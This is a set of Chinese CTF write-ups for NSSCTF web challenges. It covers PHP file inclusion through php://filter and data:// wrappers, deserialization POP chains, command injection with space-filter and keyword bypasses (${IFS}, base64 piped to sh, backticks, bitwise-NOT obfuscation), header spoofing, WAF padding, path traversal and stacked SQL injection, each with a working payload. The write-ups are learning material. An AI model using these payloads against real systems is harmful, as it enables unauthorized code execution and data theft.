nss刷题

[ZJCTF 2019]NiZhuanSiWei

1.打开环境,代码如下,知识点包括文件包含,伪协议和反序列化

 <?php  
$text = $_GET["text"];     //get传参text
$file = $_GET["file"];     //get传参file
$password = $_GET["password"];    //从get传参password
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){  
 //使用file_get_contents($text,'r')尝试读取 $text 指向的文件内容,如果文件内容严格等于 "welcome to the zjctf",则继续执行下面的代码

    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";     //输出内容
    if(preg_match("/flag/",$file)){     //检查file是否包含flag
        echo "Not now!";         //包含则输出Not now!
        exit();                 //结束进程,此处不会有flag
    }else{
        include($file);  //useless.php    如果不包含就指向useless.php文件
        $password = unserialize($password);    //反序列化password
        echo $password;                     //输出password,此处应该是flag
    }
}
else{
    highlight_file(__FILE__);      //高亮显示文件
}
?> 

2.按代码尝试第一步

让test=welcome to the zjctf,什么也没发生,重新看一下,file_get_contents只能读取文件内容,但test是变量,这里就需要用到php伪协议

3.php伪协议

用data协议去给test赋值——?text=data://text/plain,welcome to the zjctf,传参后如下,到这里if以上的代码就完了

4.按照代码,此时应该读取useless.php文件,但是这里并没有路径,使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php,得到一串什么编码,一般是base64

5.解码,得到一个新的php

<?php  

class Flag{  //flag.php               //flag在flag.php中
    public $file;  
    public function __tostring(){     //把对象当做字符串调用,当表达方式错误时,就会触发
        if(isset($this->file)){       //调用file
            echo file_get_contents($this->file);     //输出文件内容,php位置在此
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");      返还值
        }  
    }  
}  
?>  

6. 按上面的代码来说我们要触发魔术方法(echo 或者print)在file中包含flag.php,即可

注意:这时候我们不需要去访问useless.php文件的内容了,但是仍然需要file指向useless.php.我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag

<?php

class Flag
{
    public $file = "flag.php";
}
$a =  new Flag();
echo urlencode(serialize($a));  //序列化$a后进行url编码输出

结果:

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

 7.传参,根据上面说的,我们还剩最后一个参数password没用,让其反序列化之后输出password,得到返还值

最种payload为

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}

8.查看源码得到flag

[SWPUCTF 2021 新生赛]no_wakeup

1.打开环境有一个链接

2.点开以后是一个名为class.php的网页

3.分析

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){  //实例化对象时触发,此处不会触发
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);

        }   //2.反序列化之前会触发,将passwd的值改为sha1,需要绕过

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){    //1.要求admin=admin&passwd=wllm,即输出flag
                include("flag.php");
                echo $flag;

            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];  //通过p进行get传参
unserialize($Letmeseesee);    //会将传参的值反序列化,触发_weakup()
?>
 

4.构造

<?php
class HaHaHa
{

    public $admin = "admin";
    public $passwd = "wllm";
}
$w=new HaHaHa;
$w=serialize($w);
echo $w;

结果为

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

5.绕过_weakup()——版本:PHP5 < 5.6.25、PHP7 < 7.0.10可实现

绕过_weakup()的方法是修改成员变量的值比实际的值大,原理:
反序列化后
由于属性值个数不匹配,被PHP当作垃圾回收。(本质是GC回收机制)

6.修改为,传参即可

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[SWPUCTF 2021 新生赛]Do_you_know_http 

1.打开环境以后,上面说只能用WLLM浏览器访问,但是这个浏览器并不存在,那就伪造一个,改USER-AGENT为WLLM

2.修改了浏览器后,上面说我们只能在本地访问,并给出我的地址。本地访问也就是将地址修改,伪造成127.0.0.1,那么我们就添加一个X-Forwarded-For:127.0.0.1,之后提交,成功得到flag

注:X-Forwarded-For

主要作用是追踪客户端ip和安全和日志记录。

主要格式为:X-Forwarded-For: client1, proxy1, proxy2(client1是最原始客户端的IP地址,proxy1proxy2等是经过的代理服务器的IP地址。每个IP地址之间通过逗号加空格分隔)。危险之处在于可以伪造这个值。

[SWPUCTF 2021 新生赛]babyrce 

1.打开环境是一段php代码,要求上传一个cookie的值为1,参数为admin

2.bp抓包以后修改或者添加cookie: admin=1,返还给了我们一个文件名,rasalghul.php,接下来就访问它

 3.给了一段新的php代码,上面说get传参url可以执行命令,并且过滤了空格,有空格就会停止运行。


 

4. 我们先执行ls看看里面有什么。看到前面多了一个index.php,那么前面的分析就是合理的,ls这个shell有用

 5.之后就是空格绕过,使用${IFS}绕够,出现了不同的内容

补充:空格过滤绕过

  1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以`

2.${IFS},$IFS$9,$IFS

3.控制字符代替,%09(tab),%0a`

4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。

`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}

 6.后买出现了一些文件名,有一个像flag的抓一下试试,得到flag

[LitCTF 2023]Follow me and hack me 

1.打开环境,上面说分别用get和post传参,但是没有submit按钮,我们直接用hacker一起传,得到flag,彩蛋不讨论。

[LitCTF 2023]Ping

1.先尝试ping一下百度,给出了不一样的回答

2.这里出现了一个过滤的函数,大致作用是严格匹配 ipv4 地址,比如 127.0.0.1 这种格式,所以域名都不可以,那么我们就禁用js

 [SWPUCTF 2021 新生赛]hardrce

1.打开环境,先进行代码审计

  • 通过$_GET['wllm']接收输入。
  • 定义了一个黑名单数组$blacklist,包含一系列不允许的字符。
  • 使用foreach循环和preg_match检查输入中是否包含黑名单中的任何字符。如果是,则终止执行并显示错误信息。
  • 使用preg_match('/[a-zA-Z]/is', $wllm)检查输入中是否包含英文字母。如果是,则终止执行并显示错误信息。
  • 如果输入通过了所有检查,则使用eval($wllm);执行输入的代码。
  • 意思是我们不能使用上述规定的字母和符号,但是却要我们传参给wllm,这显然是说不通的,因此我们需要绕过一下,可以是取反,异或,自增自减等

2.我们这里需要用到一个php函数phpinfo来测试是否可行,但是,注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。

注:在php的语法中,如果前面不加这个~后面那串就会被当做字符串而不能正常执行

结果为%8F%97%8F%96%91%99%90%D7%D6

 3.取反以后没有出现我们想要的结果,说明这个函数行不通,但是方法是对的。

4. 我们执行system('ls /'); 那在使用这个方法时就要分别对符号进行取反

<?php
$a="system";
$a=urlencode(~$a);  //  ~ 取反写法
$b="ls";
$b=urlencode(~$b);
echo $a."\n".$b;
?>

结果为

%8C%86%8C%8B%9A%92
%93%8C

5.构造payload得到

6.出现了类似flag的位置,抓一下

<?php
$a="system";
$a=urlencode(~$a);  //  ~ 取反写法
   //   $b="ls /";          不需要这个了,我们换命令了
    //  $b=urlencode(~$b);
echo $a."\n";
echo urlencode(~"cat /flllllaaaaaaggggggg")
?>

结果为

%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

构造得?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到flag

[GXYCTF 2019]Ping Ping Ping 

1.打开环境上面有一个可以提交的位置,说php可以执行系统函数。

 php可执行系统函数实例:

  1. exec() 函数:执行一个外部程序。这个函数不直接输出结果,但你可以将输出保存到变量中。

  2. shell_exec() 函数:通过 shell 环境执行命令,并且将完整的输出作为字符串返回。

  3. system() 函数:执行外部程序,并且显示输出。这个函数会将命令的输出直接发送到浏览器。

  4. passthru() 函数:用于执行外部命令并且直接显示原始输出。

  5. proc_open() 函数:提供了一个更灵活的接口来执行外部程序,允许你同时读写到外部程序的输入/输出/错误流,以及获取外部程序的返回状态。

  6. escapeshellcmd() 函数:用于转义传递给 shell 命令的参数,以防止潜在的注入攻击。

  7. escapeshellarg() 函数:用于将字符串转换为可用于 shell 命令的参数。它会确保参数被适当地引用,从而防止注入攻击。

2.尝试ping一下主机地址,可以看到上面有一些ping通的数据交互情况

3. 和ping相关的命令执行(正如题目所说,php可以执行系统函数)

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块


 4.尝试看一下其他东西,上面说去你的空格,那么空格就是被过滤了

5.过滤空格的方法

1.使用分号:分号可以用来分隔多个命令,无论前一个命令是否成功执行,都会执行后面的命令。例如:command1; command2

2.使用逻辑运算符:&& 表示如果前面的命令执行成功,则执行后面的命令;|| 表示如果前面的命令执行失败,则执行后面的命令。例如:command1 && command2 或 command1 || command2

3.使用管道符:| 可以将前一个命令的输出作为后一个命令的输入。例如:command1 | command2

4.使用 $IFS 环境变量:$IFS 是一个内部字段分隔符,可以用来代替空格。例如:cat$IFSfile

5.使用重定向:可以使用 < 或 > 来重定向输入或输出,从而绕过空格。例如:cat < file 或 cat > file

6.使用命令拼接:可以将命令拆分成多个部分,然后通过变量或命令替换来拼接。例如:a=c;b=a;c=t;$a$b$c file

7.使用 base64 编码:可以通过 base64 编码命令,然后解码执行。例如:echo "Y2F0IGZsYWc="|base64 -d 会解码为 cat flag

8.使用引号:单引号、双引号和反引号可以用于绕过或包含特殊字符。例如:c'a't fi""le1 或 c""at "file1

9.使用反斜杠:反斜杠 \ 可以用于命令行中的换行,从而绕过空格。例如:cat \file1

10.使用特殊变量:如 ${PS2}、${PS4} 和 ${9} 等,它们分别对应 >、+ 和空字符串。例如:echo hello ${PS2}file2
                       
原文链接:https://blog.csdn.net/2301_79964672/article/details/140702642

6.使用一种和ping相关的命令执行,注意空格,重ping为127.0.0.1;ls,出现两个文件名

7.cat一下index.php

附: php代码。过滤了空格,许多符号,flag,bash

7.抓一下那个flag试试,需要用到空格绕过为 127.0.0.1;cat$IFSflag.php,上面说不可以出现flag,那我们就换一个看看

8. 抓flag.php,都可以得到flag

分别用不同的方法尝试

1. 命令拼接  ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php      //不成功

在我们平后的源码中,有

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");              //这段代码没有禁止flag这四个字母,而是不允许他们按顺序出现,因此需要重构

最终为:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

2.base64

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这个命令的作用是打印文件 flag.php 的内容,其中Y2F0IGZsYWcucGhw是cat flag.php的base64编码,base -d是base64解码,$IFS$1是空格过滤绕过,管道符|是直接执行后面的语句,echo      |sh 是将前面解码的内容作为命令(shell)执行,并且打印flag.php的内容。

3.内联执行

?ip=127.0.0.1;cat$IFS$1`ls`

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php和flag.php。那么`ls`就代表了index.php和flag.php这两个文件。那么我们就可以使用cat命令查看index.php和flag.php的内容。

下图就是第三种方法的源码,上面是flag.php的代码,下面是index.php的代码。

[SWPUCTF 2021 新生赛]PseudoProtocols (伪协议)

1.打开环境,上面说你能找出hint.php吗?而且可以看到地址栏有了参数wllm,既然是找出一个文件那么就是命令执行和伪协议

2.伪协议

?wllm=php://filter/read/convert.base64-encode/resource=hint.php

3.解码此内容

4.得到一个新的文件地址/test2222222222222.php,访问一下看看,上面说读取$a指向的文件的内容。如果读取的内容恰好是I want flag,则输出success$flag变量的值。

5.得到flag

1.php://input(hackbar没有实现,不知道为什么)

条件:开启allow_url_include=On。相当于一个远程包含的利用。

​ php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码

http://node7.anna.nssctf.cn:21654/test2222222222222.php?a=php://input

// 然后在POST里传入I want flag,则成功读取Flag

2.data://

http://node7.anna.nssctf.cn:21654/test2222222222222.php?a=data://text/plain,I want flag

[LitCTF 2023]Http pro max plus

1.打开环境,上面叫本地访问

2.试试xff,在hackbar中add header 并填入X-Forwarded-For: 127.0.0.1,行不通上面说不止这一种方法

3.删除刚刚的xff,填入Client-IP: 127.0.0.1,得到了新的回显,提供了一个网页,也就是要修改referer

注:Client-IP是另一个用于传递客户端IP地址的HTTP请求头字段,但并不如X-Forwarded-For常用。这个字段只包含一个IP地址,即请求的客户端IP地址。

4.修改以后,又叫我们用chrome浏览器,修改User-Agent为Chrome

5.又得到了新的回显,叫我们添加一个代理地址,添加新的add header,传入Via: Clash.win

6.执行后得到了新的回显,一个新的地址,访问一下。

7.给了三个步骤,都是没用的

 8.查看源码,又有一个地址/sejishikong.php,访问一下,得到flag

 [SWPUCTF 2021 新生赛]finalrce

1.打开环境,有一段php代码,上写了禁用的一些符号和命令,同时,写exec命令会执行url的命令,但是exec这个命令没有回显,因此要进行输出重定向。

2.构造payload   url=l\s /|tee 1.txt; ,之后访问1.txt,看到有一个,访问它flllllaaaaaaggggggg

注:tee是一个linux命令,会将我们前面输入的命令保存在后面的1.txt文件中,管道符|则会使tee命令执行。

3.访问flllllaaaaaaggggggg

再次重定向后访问     ?url=ca\t%20/flllll\aaaaaaggggggg|tee%201.txt;得到flag

 [UUCTF 2022 新生赛]ez_rce

1.打开环境,有一段代码,先代码审计。上面试一些过滤了的命令,get传参给code,会执行这些命令。

2.先测试一下phpinfo(),有回显。但是根据内容来看,行不通。

3.既然ls被过滤,就试用了l\s,发现还是被过滤了,不行,那么这里还可以使用上面提到过的内联执行,其中的反引号在很多语言都有,且用途不一,这里推一篇详细介绍。简单的来说就是使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。[UUCTF 2022 新生赛]ez_rce_[uuctf 2022 新生赛]ezrce-CSDN博客

具体使用的payload为?code=print(`l\s /`);查看根目录下的文件,如此。

4.查看fffffffffflagafag文件,payload: ?code=print(`ca\\t /fffffffffflagafag`);

注:这里使用ca\\t,是因为单独的一个\t,会被http协议当成制表的命令。

[羊城杯 2020]easycon

1.打开环境,是一个ubuntu的apache2的页面报告,没有什么有用的信息,扫一下

2.扫到了一个index.php,访问这个页面,先是有一个弹窗,上面说执行post传参执行命令,然后有一个新的页面,但是这个页面什么也做不了,换另一个页面index.php/login

3. 在此页面执行命令,查看此目录下的所有文件,得到以下内容,

4.试图查看bbbbbbbbb.txt的内容,cat一下,得到一串编码,拿去解码一下

5.base解码后转图片,另存后找到flag

[鹏城杯 2022]简单包含 

1.打开环境,给了flag的路径和就叫我们post传参文件包含,参数是flag。

2.利用伪协议尝试读取flag内容,上面说有waf。应该是某个东西被过滤了。

flag=php://filter/read=convert.base64-encode/resource=flag.php

3.尝试伪协议读取其他内容,一般直接给出来flag路径的都不能直接使用。得到了内容的base64编码,解码一下。

flag=php://filter/read=convert.base64-encode/resource=index.php

4.解码 ,代码审计

<?php

$path = $_POST["flag"];  //post传参flag赋值给path

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';    //字符串数小于800,和包含有flag,就会输出有waf
} else {
    @include($path);     //由于上面是&,满足一个条件这里就会执行,让字符数大于800,执行命令,预计输出flag
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />      //不重要的东西

 5.某些WAF处理POST的数据时,只会检测开头的8K,后面选择全部放过。因此可以传入一段长数据使WAF失效,从而实现绕过WAF

构造payload:得到flag的base64编码

x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&flag=php://filter/read=convert.base64-encode/resource=flag.php

 

6.解码,得flag

[HNCTF 2022 Week1]Interesting_include 

1.打开环境,先进行代码审计

<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){   //get传参,参数是filter
    $file = $_GET['filter'];      //赋值给file
    if(!preg_match("/flag/i", $file)){      //如果包含flag,返回error
        die("error");
    }
    include($file);                             //没有包含flag,预计输出flag
}else{
    highlight_file(__FILE__);
}

2.构造payload

?filter=php://filter/read=convert.base64-encode/resource=flag.php

3.解码得flag

[GDOUCTF 2023]泄露的伪装

1.打开环境是一句话,其他什么也没有,直接开扫。

2.得到了两个目录,逐一查看,在www.rar解压后给了一个新的地址

3.访问这个页面,代码审计

 <?php
error_reporting(0);
if(isset($_GET['cxk'])){     //get传参,参数是cxk
    $cxk=$_GET['cxk'];         //赋值
    if(file_get_contents($cxk)=="ctrl"){     //如果其内容等于ctrl,输出flag
        echo $flag;
    }else{
        echo "洗洗睡吧";                      //不等于。输出洗洗睡
    }
}else{
    echo "nononoononoonono";                 //什么也没有,输出nononononononono
}
?> 

 4.构造payload,访问,发现内容被过滤了

5.绕过

payload:

?cxk=data://text/plain,ctrl

?cxk=data://text/plain;base64,Y3RybA==

 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)

1.打开环境,代码审计

 <?php
error_reporting(0);      //关闭错误报告
if (isset($_GET['file'])) {     //get传参,参数file
    if ( substr($_GET["file"], 0, 3) === "php" ) {   //file的内容以php开头
        echo "Nice!!!";              //输出nice
        include($_GET["file"]);      //文件包含,和后面的flag.php有关
    } 

    else {
        echo "Hacker!!";     //输出hacker
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

2.构造payload,解码得一段php代码

3.代码审计

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo   "NSSCTF{flag_is_not_here}" ."<br/>";     //不是flag
echo "real_flag_is_in_ '/flag' "."<br/>";       //真正的flaag在/flag里
echo "换个思路,试试PHP伪协议呢";               //

4.构造payload,得代码,解码,得flag

?file=php://filter/read=convert.base64-encode/resource=/flag

[HNCTF 2022 Week1]easy_html

1.打开环境,叫我们查看cookie,上面说flag is in /f14g.php,访问一下。

cookie的中文就是饼干的意思

2. 打开环境叫我们电话号码登录,但是输入以后回显是nononononono,查看源码

 上面设置最大长度有10,但是电话号码有11位,,改一下,得flag

 [HCTF 2018]Warmup

1.打开环境,只有一个笑脸,其他什么也没有,查看源码,给了一个文件名

2.访问它,代码审计        

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义了一个数组,给了两个文件名
            if (! isset($page) || !is_string($page)) {   //page变量未被定义或不是字符串回显并结束进程                     
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {  //whitelist数组中存在page的值,返回true
                return true;
            }

            $_page = mb_substr(   
                $page,
                0,
                mb_strpos($page . '?', '?')    //回page变量中第一次出现'?'的位置,若没有出现则返回page的末尾位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);    //将page变量url解码后赋值给_page变量
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])        //file是否为空
        && is_string($_REQUEST['file'])       //file是否是字符串
        && emmm::checkFile($_REQUEST['file'])    //emmm类中checkFile方法返回是否为true
    ) {
        include $_REQUEST['file'];   //文件包含,回显出内容,应该是执行出flag的的地方
        exit;                                   
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

3.代码上说还有一个页面是hint.php,访问它,意外之喜。(暂时用不到)

函数介绍

highlight_file():对文件进行 PHP 语法高亮显示(对解题没什么影响)
isset():用于检测变量是否已设置并且非 NULL
is_string():用于检测变量是否是字符串
in_array(A,B):搜索B数组中是否包含A这个值
mb_substr(A,B,C):将A字符串从B截断到C,区间为[B,C),左闭右开;例如mb_substr("hello",0,2),则返回的值为"he"
mb_strpos(A,B):返回A字符串中出现B字符串的第一个位置;例如mb_strpos("abc","bc"),则返回值为1
urldecode(A):对A字符串进行url解码
empty():检查变量是否为空
$_REQUEST变量可用来收集通过GET和POST方法发送的表单数据
include可以将PHP文件的内容插入另一个PHP文件,include只生成警告,并且脚本会继续
A.B表示将A、B两字符串拼接

4.根据代码审计,可以得出:

1.第一个if用于判断page是否为空;
2. 第二个 if 用于判断page的值在不在白名单里面;
3. 第三个 if 是在page截断后赋值给 _page,再判断 _page的值在不在白名单里;
4. 第四个 if 是先将page进行url解码后赋值给 _page,再做截断和判断;

5.构造payload,没有回显,目录穿越,逐级尝试。

?file=source.php?/ffffllllaaaagggg

最终为,得flag

?file=source.php?../../../../../ffffllllaaaagggg

[MoeCTF 2022]baby_file 

1.打开环境,代码审计,什么也没有开扫吧。

<html>
<title>Here's a secret. Can you find it?</title>  //这是一个秘密,你能找到它么
<?php

if(isset($_GET['file'])){      //get传参,参数file
    $file = $_GET['file'];    //赋值
    include($file);          //文件包含
}else{
    highlight_file(__FILE__);  //高亮显示(无用)
}
?>
</html>

2.得到一个flag.php,直接访问不到,伪协议读取文件,构造payload

?file=php://filter/read=convert.base64-encode/resource=useless.php

3. 解码得flag

[suctf 2019]EasySQL 

1.打开环境,是一个提交框,有提交按钮。

2.判断注入类型,只有1时有回显。

输入1时

输入1'时

输入1'#时

3.爆库,有回显。

1; show databases;

4. 爆表

1;show tables;

4. 爆字段,两个的结果都是Nonono,应该是from被过滤了。

1;show columns from 1;
1;show * from 1;

5. PIPES_AS_CONCAT 函数:sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数。

ps:

command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2

 6.构造payload,得flag

1;set sql_mode=PIPES_AS_CONCAT;select 1

[HUBUCTF 2022 新生赛]checkin 

1.代码审计

<?php
show_source(__FILE__);      
$username  = "this_is_secret";      
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two  // flag.php 文件中修改了 $username 与 $password,要求必须使用弱比较
$info = isset($_GET['info'])? $_GET['info']: "" ; //可以传参的位置
$data_unserialize = unserialize($info); //反序列化info(数组)
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;         //useraname和password的弱比较,成功则输出flag
}else{
    echo "username or password error!";   //若比较不成功则输出

}

?>

2.写代码

<?php
$d=array("username"=>true,"password"=>true); //定义d是数组,绕过弱比较,将需要比较的内容赋给true
echo serialize($d);     //输出序列化的值,后面会反序列化回来
?>

结果:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

3.构造payload,得flag

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[SWPUCTF 2021 新生赛]pop 

1.代码审计

 <?php

error_reporting(0);
show_source("index.php");      //包含index.php

class w44m{                        //定义了一个类

    private $admin = 'aaa';            //定义了一个私有属性的admin
    protected $passwd = '123456';     //定义了一个保护属性的passwd

    public function Getflag(){        //定义了一个公有属性的Getflag
        if($this->admin === 'w44m' && $this->passwd ==='08067'){  //要求admin和passwd的值强比较(即比较数据类型,也比较数据)等于
            include('flag.php');   //包含flag.php
            echo $flag;         //输出flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){   //被删除或者销毁时触发,或者这个类被调用时触发。
        echo $this->w00m;         //把对象当成字符串输出,触发toString
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){    //把对象当做字符串调用,表达方式错误时,就会触发
        $this->w00m->{$this->w22m}();   //调用函数w22m
        return 0;
    }
}

$w00m = $_GET['w00m'];       //get传参,参数w00m
unserialize($w00m);          //反序列化get传参的值

?> 
//get传参w00m,给w00m赋一个w33m类(调用),w33m会调用w22m,给$w00m赋一个w44m类(调用),然后再给w22m赋一个Getflag就能成功调用Getflag,输出flag

2.构造

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$p = new w22m();       //实例化对象w22m
$p->w00m = new w33m();       //给w33m赋w00m,同时实例化w33m,不会触发_toString,要在类里实例化才会触发。
$p->w00m->w00m=new w44m();   //给w44m赋w00m,同时实例化w44m。
$p->w00m->w22m='Getflag';         //给w22m赋Getflag,触发结果
echo urlencode(serialize($p));   //有私有属性,必须用url编码,不然会有不可见字符
?>

3.payload

w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

4.结果

[鹤城杯 2021]EasyP 

1.打开环境,代码审计

<?php
include 'utils.php';

if (isset($_POST['guess'])) {      //无用段,无法执行得到flag
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {       
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again'; 
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {    //后面这个函数会读取当前写入的文件名,也就是ip以后的文件路径
    exit("hacker :)");    //匹配以 utils.php+0个或多个 / 结尾 的字符串
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");    //匹配 show_source 的内容以及REQUEST_URI
}

if (isset($_GET['show_source'])) { 
    highlight_file(basename($_SERVER['PHP_SELF']));//本意是返回路径中的函数名部分,在此处为读取url的最后一个文件并输出,在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符,ascii值为47、128-255的字符和中文字符均可以绕过basename()
    exit();
}else{
    show_source(__FILE__);
}
?>

2.绕过总结

flag在utils.php文件里,但是正则匹配了这个文件名,绕过方法是添加不是/的任意字符。

show_source,需要此函数展出文件内容,一般绕过姿势:show[source和show.source,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_,同时保证他不为null。

$_SERVER['REQUEST_URI']绕过保证它的值为******/utils.php,最后读取出来的文件是含有flag的文件。

basename,利用此函数会在读到非ascii时停止,在utils.php后面加上一个非ascii的字符,让后面的($_SERVER['PHP_SELF']函数刚好读取到utils.php的内容并显示。

还需要添加一个index.php来当做跳板请求

3.构造payload

/index.php/utils.php/%88?show[source=1

补充:两个全局变量的区别

